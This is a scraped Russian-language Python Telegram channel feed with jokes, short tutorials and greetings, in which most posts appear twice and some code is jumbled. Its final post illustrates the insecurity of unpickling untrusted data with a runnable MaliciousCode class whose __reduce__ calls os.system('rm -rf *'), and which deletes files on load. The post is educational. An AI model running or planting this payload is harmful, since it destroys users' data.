После одного мема вспомнилась реальная история. Смешная и страшная одновременно. 😂😱
Итак, коллега по коду решил оценить асимптотику своего кода. Делал подобное он впервые. Поэтому с огромной гордостью заявил, что написал код обработки массива данных за константное время. Вау! Круто!
Далее выясняется, что это время равно 3.5 секундам, что на микромассиве из 10 элементов, что на массиве из 10_000. 🤔
Забегу вперёд, нобелевку ему не дали не смотря на верно работающий код. Почему? Замеры делались не верно. 😥
Коллега прикрутил input, чтобы вручную задавать параметры замеров. Но вместо того, чтобы передавать их в оцениваемый код, он прописал их внутри кода. 🤯
Как результат 3.5 секунды на ввод данных. Плюс 0.000002 секунды на обсчёт 10 элементов. Или плюс 0.002 на обсчёт 10к элементов.
Выводы делайте сами. Отличного дня 😉
Итак, коллега по коду решил оценить асимптотику своего кода. Делал подобное он впервые. Поэтому с огромной гордостью заявил, что написал код обработки массива данных за константное время. Вау! Круто!
Далее выясняется, что это время равно 3.5 секундам, что на микромассиве из 10 элементов, что на массиве из 10_000. 🤔
Забегу вперёд, нобелевку ему не дали не смотря на верно работающий код. Почему? Замеры делались не верно. 😥
Коллега прикрутил input, чтобы вручную задавать параметры замеров. Но вместо того, чтобы передавать их в оцениваемый код, он прописал их внутри кода. 🤯
Как результат 3.5 секунды на ввод данных. Плюс 0.000002 секунды на обсчёт 10 элементов. Или плюс 0.002 на обсчёт 10к элементов.
Выводы делайте сами. Отличного дня 😉
😁6👍4
Немного смайликов в пятничную ленту. 😉
Знаете ли вы, что в основе синтаксиса Python лежит латиница и английский алфавит? Конечно знаете. 😄
А знаете ли вы, что Python 3 отлично работает с любыми символами из UTF-8 внутри str? 😏
P.S. Программа проверяет является ли число простым. 😁
Знаете ли вы, что в основе синтаксиса Python лежит латиница и английский алфавит? Конечно знаете. 😄
А знаете ли вы, что Python 3 отлично работает с любыми символами из UTF-8 внутри str? 😏
def is_prime(num: int) -> bool:Отличной всем пятницы 🙃
f['🤓'] = num
for f['🏃'] in range(f['👫'], f['🤓']):
if f['🤓'] % f['🏃'] == f['🤪']:
return f['😈']
return f['😇']
f = {'😇': True,
'😈': False,
'🤪': 0,
'👫': 2,
'🤯': is_prime,
}
print(f['🤯'](73))
P.S. Программа проверяет является ли число простым. 😁
😁7🤯1
Проводя собеседования речь иногда заходит об ООП в Python. И 9 из 10 участников не могут внятно ответить что такое self. 😱
Ловите несколько фактов.
- self не является частью синтаксиса. Вместо него можно писать this, me, что угодно. Python вас поймёт. Коллеги по проекту - нет.
- количество параметров в методе класса всегда на один больше, чем количество принимаемых аргументов. Первый параметр self не принимает аргумент в привычном стиле.
- self является указателем экземпляру класса на самого себя.
Взгляните на код:
Ловите несколько фактов.
- self не является частью синтаксиса. Вместо него можно писать this, me, что угодно. Python вас поймёт. Коллеги по проекту - нет.
- количество параметров в методе класса всегда на один больше, чем количество принимаемых аргументов. Первый параметр self не принимает аргумент в привычном стиле.
- self является указателем экземпляру класса на самого себя.
Взгляните на код:
class User:Казалось бы два одинаковых экземпляра класса user1 и user2. Но каждый занимает своё место в оперативной памяти. Адреса не совпадают.
def __init__(self, name):
self.name = name
print(f'{self = }')
def me(self):
return self
user1 = User('Python')
print(f'{user1 = }')
user2 = User('Python')
print(f'{user2 = }')
print(user1 is user1.me())
self = <__main__.User object at 0x00000283CD2BE1D0>А вот self экземпляра и сам экземпляр совпадают, т.к. являются одним и тем же объектом.
user1 = <__main__.User object at 0x00000283CD2BE1D0>
self = <__main__.User object at 0x00000283CD77C7C0>
user2 = <__main__.User object at 0x00000283CD77C7C0>
user1 is user1.me() всегда True 🤓👍9🤔3
Пост о юных подаванах и опытных сеньорах.
Две недели назад вышел Python 3.11.0. Уже привычное большое ежегодное обновление. Удивительно, что пара знакомых сразу же кинулись ставить его. И не просто ставить, а обновлять версию в своих рабочих и pet проектах. 😱
Обратите внимание, что даже у Python 3.10.8 от 11 октября статус bugfix.
Коллеги айтишники, используйте безопасные стабильные версии софта в ваших проектах. 🙏 Экономия времени и нервов колоссальные. 🤓
А если очень хочется чего-то новенького, экспериментируйте вне рабочих проектов. Да прибудет с вами логика, а с вашими проектами Python 3.9.15 security 💂♀
Две недели назад вышел Python 3.11.0. Уже привычное большое ежегодное обновление. Удивительно, что пара знакомых сразу же кинулись ставить его. И не просто ставить, а обновлять версию в своих рабочих и pet проектах. 😱
Обратите внимание, что даже у Python 3.10.8 от 11 октября статус bugfix.
Коллеги айтишники, используйте безопасные стабильные версии софта в ваших проектах. 🙏 Экономия времени и нервов колоссальные. 🤓
А если очень хочется чего-то новенького, экспериментируйте вне рабочих проектов. Да прибудет с вами логика, а с вашими проектами Python 3.9.15 security 💂♀
👍12👏1👌1
Всех с пятницей 👋
Ни для кого не секрет, что язык Python назван в честь шоу Летающий цирк Монти Пайтон. Но что вы знаете о шоу? 🤔
Как насчёт Священного Грааля? Знаете ли вы о том, что африканская ласточка способна перенести кокос на другой континент? А как насчёт святой гранаты из серии игр про червячков Worms? Откуда она?
Предлагаю проникнуться духом Монти Пайтон и посмотреть полуторачасовой Святой Грааль вместе. Устроим выходные в стиле Python IT Geek. 💻
P.S. Уже заливаю видео в комментарии к посту. 🍿
Ни для кого не секрет, что язык Python назван в честь шоу Летающий цирк Монти Пайтон. Но что вы знаете о шоу? 🤔
Как насчёт Священного Грааля? Знаете ли вы о том, что африканская ласточка способна перенести кокос на другой континент? А как насчёт святой гранаты из серии игр про червячков Worms? Откуда она?
Предлагаю проникнуться духом Монти Пайтон и посмотреть полуторачасовой Святой Грааль вместе. Устроим выходные в стиле Python IT Geek. 💻
P.S. Уже заливаю видео в комментарии к посту. 🍿
👍6
Посмотрели Монти Пайтон и святой Грааль?
Anonymous Poll
5%
Смотрел в низком качестве
3%
Смотрел в среднем качестве
6%
Смотрел в высоком качестве
12%
Смотрел раньше
2%
Скачал/смотрел в сети
72%
Пока не смотрел
Коротко о четырёх основных способах выполнения кода в Python
Синхронное выполнение 📄
По сути любая программа с переменными, ветвлениями, циклами и прочим, где действия выполняются строка за строкой. Классика, где Python создаёт один процесс с одним потоком внутри.
Многопоточное выполнение 🗂
Берём синхронный код и запускаем функцию несколько раз для "параллельного" выполнения. Снова один Python процесс внутри которого несколько потоков очень быстро переключаются между собой. Настолько быстро, что кажется словно работают одновременно. Но задействуется один поток в одном ядре CPU.
Многопроцессорное выполнение 📚
Основной Python процесс создаёт другие Python процессы. Внутри синхронное выполнение кода в одном потоке. Снаружи несколько процессов выполняемых одновременно разными ядрами/процессорами ПК.
Асинхронное выполнение 🔀
Снова один процесс с одним потоком внутри. Но синхронные функции превращаются в асинхронные сопрограммы - coroutine. Корутины работают по очереди, переключаясь между собой. Похоже на многопоточность, но переключаются не потоки, а функции внутри одного потока.
Синхронное выполнение 📄
По сути любая программа с переменными, ветвлениями, циклами и прочим, где действия выполняются строка за строкой. Классика, где Python создаёт один процесс с одним потоком внутри.
Многопоточное выполнение 🗂
Берём синхронный код и запускаем функцию несколько раз для "параллельного" выполнения. Снова один Python процесс внутри которого несколько потоков очень быстро переключаются между собой. Настолько быстро, что кажется словно работают одновременно. Но задействуется один поток в одном ядре CPU.
Многопроцессорное выполнение 📚
Основной Python процесс создаёт другие Python процессы. Внутри синхронное выполнение кода в одном потоке. Снаружи несколько процессов выполняемых одновременно разными ядрами/процессорами ПК.
Асинхронное выполнение 🔀
Снова один процесс с одним потоком внутри. Но синхронные функции превращаются в асинхронные сопрограммы - coroutine. Корутины работают по очереди, переключаясь между собой. Похоже на многопоточность, но переключаются не потоки, а функции внутри одного потока.
👍7🤯1
В продолжение поста о способах выполнения кода. Немного о том где какой вариант применять
📄 Синхронные решения отлично подходят для небольших, срочных и одноразовых задач. Быстро писать. Легко проводить отладку. Улучшения так же не требуют лишних усилий. И даже если ежечасно парсить сайт и тратить несколько секунд на обработку данных, синхронный код отлично справится с задачей.
🗂 Многопоточные решения создаются для задач с обилием ввода и вывода информации. I/O bound подразумевает ожидание ответов, длительное выполнение запросов и т.п. И пока один поток ждёт свой I/O, другой решает задачу. Тот же пример с парсингом, но не одного, а десятков сайтов одновременно. Быстро по очереди отправляем запросы по одному на поток, а потом обрабатываем в порядке получения ответов.
📚 Многопроцессорные решения нужны для CPU bound задач. Обычно это обработка большого объёма данных, которую можно разбить на части. Например парсим сайт, а он возвращает терабайт в ответ. Каждый процесс обрабатывает свой кусочек терабайта изолировано, а ПК нагружает все ядра процессора. Мы же не зря запустили по одному процессу на каждое ядро CPU.
🔀 Асинхронные решения подходят для I/O bound задач. Стоп! Но ведь потоки для них. Всё верно. Если не придираться к деталям, асинхронный подход можно считать современной альтернативой многопоточных решений. Вполне возможно кто-то из вас сталкивался с потоками в legacy проектах и при обновлении софта менял их на асинхронные корутины.
📄 Синхронные решения отлично подходят для небольших, срочных и одноразовых задач. Быстро писать. Легко проводить отладку. Улучшения так же не требуют лишних усилий. И даже если ежечасно парсить сайт и тратить несколько секунд на обработку данных, синхронный код отлично справится с задачей.
🗂 Многопоточные решения создаются для задач с обилием ввода и вывода информации. I/O bound подразумевает ожидание ответов, длительное выполнение запросов и т.п. И пока один поток ждёт свой I/O, другой решает задачу. Тот же пример с парсингом, но не одного, а десятков сайтов одновременно. Быстро по очереди отправляем запросы по одному на поток, а потом обрабатываем в порядке получения ответов.
📚 Многопроцессорные решения нужны для CPU bound задач. Обычно это обработка большого объёма данных, которую можно разбить на части. Например парсим сайт, а он возвращает терабайт в ответ. Каждый процесс обрабатывает свой кусочек терабайта изолировано, а ПК нагружает все ядра процессора. Мы же не зря запустили по одному процессу на каждое ядро CPU.
🔀 Асинхронные решения подходят для I/O bound задач. Стоп! Но ведь потоки для них. Всё верно. Если не придираться к деталям, асинхронный подход можно считать современной альтернативой многопоточных решений. Вполне возможно кто-то из вас сталкивался с потоками в legacy проектах и при обновлении софта менял их на асинхронные корутины.
👍4👀1
💩2
Поздравляю всех подписчиков канала с Новым годом! 🎄
Творческих успехов, завершённых pet-проектов, меньше горящих дедлайнов и больше кода в удовольствие. 🎁
В новом году вас ждут небольшие посты на канале, интересные авторские статьи на Хабре и конечно же ITшный юмор. 🧑💻
Живите долго и процветайте. До новых встреч. 🖖
P.S. Картинка к посту создана нейросетью специально для этого поста. 🤓
Творческих успехов, завершённых pet-проектов, меньше горящих дедлайнов и больше кода в удовольствие. 🎁
В новом году вас ждут небольшие посты на канале, интересные авторские статьи на Хабре и конечно же ITшный юмор. 🧑💻
Живите долго и процветайте. До новых встреч. 🖖
P.S. Картинка к посту создана нейросетью специально для этого поста. 🤓
🍾8
Встретил на просторах сети эту картинку ☝
Слышали ли вы о том, что ИИ умеет рисовать картины по текстовому запросу?
Модели, обучение, тестирование... Много времени, крутые видеокарты, сложные манипуляции... Ага, как на кадре слева. 🤯
Захотелось научить всех рисовать так же легко и просто, как мост на кадре справа. Ловите ссылку. Делитесь запросами и их результатами в комментариях. 👨🎨
Кстати, со старым новым годом вас 🎄
Слышали ли вы о том, что ИИ умеет рисовать картины по текстовому запросу?
Модели, обучение, тестирование... Много времени, крутые видеокарты, сложные манипуляции... Ага, как на кадре слева. 🤯
Захотелось научить всех рисовать так же легко и просто, как мост на кадре справа. Ловите ссылку. Делитесь запросами и их результатами в комментариях. 👨🎨
Кстати, со старым новым годом вас 🎄
👍4👨💻1
От 🌹 лица 🌹 IT 🌹 сообщества 🌹 поздравляю 🌹 лучшую 🌹 половину 🌹 канала 🌹 с 🌹 международным 🌹 женским 🌹 днём 🌹
Please open Telegram to view this post
VIEW IN TELEGRAM
❤9💅2
О Markdown и Телеграм
Если простыми словами, то Markdown превращает символы в оформление. Это язык разметки, как и HTML. Например двойное подчеркивание ➡️ __ ⬅️ до и после слова делает его курсивным. Как видите Телеграм поддерживает Markdown.
После очередного обновления в Телеграм появилась подсветка синтаксиса. Работает так:
\\
Пишите свои примеры в комментариях
P.S. В прошлых статьях также улучшено форматирование
Если простыми словами, то Markdown превращает символы в оформление. Это язык разметки, как и HTML. Например двойное подчеркивание ➡️ __ ⬅️ до и после слова делает его курсивным. Как видите Телеграм поддерживает Markdown.
После очередного обновления в Телеграм появилась подсветка синтаксиса. Работает так:
\\
\\ \\` python # три открывающих апострофа и название вашего ЯП
Ваш код
\ \ \ # три закрывающих апострофаpython
print('Hello world!')Пишите свои примеры в комментариях
P.S. В прошлых статьях также улучшено форматирование
👍6🆒1
А давайте устроим новогоднее чудо и проголосуем за Python в финале битвы языков программирования 🎄 ❤️🔥
https://tproger.ru/articles/final-bitvy-yazykov-programmirovaniya-v-2023-godu
https://tproger.ru/articles/final-bitvy-yazykov-programmirovaniya-v-2023-godu
Please open Telegram to view this post
VIEW IN TELEGRAM
Tproger
Лучший язык программирования 2023: финал
В финале батла лучших языков программирования за первое и второе место сразились C# и Python, за третье и четвёртое место — JS и Golang.
🎄3❤🔥1💯1
Итоги голосования. Python на втором месте 🥈 Не хватило всего 30 голосов. Мы могли это сделать. Но сделаем в следующем году
А пока всех с наступающими праздниками. Да прибудет с вами любимый язык программирования ❤️
А пока всех с наступающими праздниками. Да прибудет с вами любимый язык программирования ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
Tproger
Лучший язык 2023 — материалы для программистов
Баттл языков программирования — читатели Tproger выбирают лучший язык в 2023 году.
❤2👏1👨💻1
Добрый вечер, коллеги!
С наступившим 2024 годом. Как ваше самочувствие? Может хотите маринованных огурчиков, огуречного рассола? 🥒
Модуль pickle
Помимо всем привычного и безопасного JSON для сериализации и десериализации данных в Python есть модуль pickle, выполняющий аналогичные действия с питоновскими объектами
Важно! Модуль pickle небезопасен. Распаковывайте только те данные, которым вы доверяете.
Держите простой пример маринования трёх объектов в один файл:
С наступившим 2024 годом. Как ваше самочувствие? Может хотите маринованных огурчиков, огуречного рассола? 🥒
Модуль pickle
Помимо всем привычного и безопасного JSON для сериализации и десериализации данных в Python есть модуль pickle, выполняющий аналогичные действия с питоновскими объектами
Важно! Модуль pickle небезопасен. Распаковывайте только те данные, которым вы доверяете.
Держите простой пример маринования трёх объектов в один файл:
import pickleВ результате получим бинарный data.pickle с неудобным для чтения человеком содержимым, примерно таким:
obj1 = {'name': 'Alice', 'age': 25}
obj2 = [1, 2, 3, 4, 5]
obj3 = ('a', 'b', 'c')
with open('data.pickle', 'wb') as f:
pickle.dump(obj1, f)
pickle.dump(obj2, f)
pickle.dump(obj3, f)
� }�(� name�� Alice�� age�K u.� � ]�(K K K K K e.� � � a�� b�� c���.Но если спустя время нам понадобятся наши словари и списки, достаём разносолы из файла:
import pickleУспехов в новом году. И не только в консервациях 😉
with open('data.pickle', 'rb') as f:
loaded_obj1 = pickle.load(f)
loaded_obj2 = pickle.load(f)
loaded_obj3 = pickle.load(f)
print(loaded_obj1) # {'name': 'Alice', 'age': 25}
print(loaded_obj2) # [1, 2, 3, 4, 5]
print(loaded_obj3) # ('a', 'b', 'c')
👍6🔥1😈1
Продолжаем мариновать объекты Python. Начало тут
Чем же так небезопасен pickle? В первую очередь программистом, который его использует неправильно.
Ловите пример:
Но почему так? Дело в том, что модуль выполняет дандер
😉
Чем же так небезопасен pickle? В первую очередь программистом, который его использует неправильно.
Ловите пример:
import pickleВ результате загрузки данных из строки байт в терминал отправится сообщение "Hello world!". Немного не то, для чего создавался модуль. Кстати, в переменной res будет хранится ноль, а не текст или команда.
res = pickle.loads(b"cos\nsystem\n(S'echo Hello world!'\ntR.")
Но почему так? Дело в том, что модуль выполняет дандер
__reduce__ замаринованного объекта в процессе преобразования файла/строки в объекты Python.import pickleОтличных новогодних праздников. И не стреляйте себе в ногу
import os
class MaliciousCode:
def __reduce__(self):
# При вызове функции pickle.load() будет выполнена команда удаления всех файлов в текущей директории
return (os.system, ('rm -rf *',))
malicious_object = MaliciousCode()
with open('data.pickle', 'wb') as file:
pickle.dump(malicious_object, file)
with open('data.pickle', 'rb') as file:
loaded_object = pickle.load(file)
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5🍾1